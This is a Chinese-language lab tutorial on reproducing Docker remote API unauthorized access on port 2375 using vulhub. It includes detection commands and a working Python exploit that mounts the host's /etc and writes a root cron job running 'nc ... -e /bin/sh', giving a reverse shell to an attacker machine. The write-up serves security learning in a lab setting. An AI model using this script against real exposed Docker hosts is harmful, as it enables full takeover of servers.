1. 漏洞成因
如果在docker上配置了远程访问,docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果没有做限制的话,攻击者就可以通过Docker未授权来控制服务器。
在上一篇文章中配置了Docker未授权的环境,在文章里面有一个比较关键的点:
安装docker环境的时候,必须使用官方源,不能使用阿里源,否则后期无法复现漏洞环境。
2. 漏洞搭建
在这里使用vulhub直接进行复现,优点就是无需上述搭建的流程,直接就可以启动。
docker-compose build
docker-compose up -d
漏洞搭建完成
3. 漏洞检测
可以使用命令行验证当前的漏洞是否存在
docker -H tcp://*.*.*.*:2375 images
或者
来证明存在漏洞
http://127.0.0.1:2375/version
http://127.0.0.1:2375/info
4. 漏洞利用
因为主机是mac,然后在里面启用了一个docker,然后再里面又启用了一个docker,所以这里是无法使用替换密钥的方法来登陆第二层docker的
所以在这里直接使用脚本利用计划任务来反弹shell
这里尝试一个反弹shell的操作:
其中10.211.55.23
是Kali的ip地址
10.211.55.2
是docekr的未授权端口
import docker
client = docker.DockerClient(base_url='http://10.211.55.2:2375/')
print(client)
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 10.211.55.23 6666 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
这里将shell弹到kali上
当这个脚本在mac上执行完成之后,大概需要很长的时间会返回一个shell回来
此时漏洞利用成功。
欢迎来到testingpai.com!
注册 关于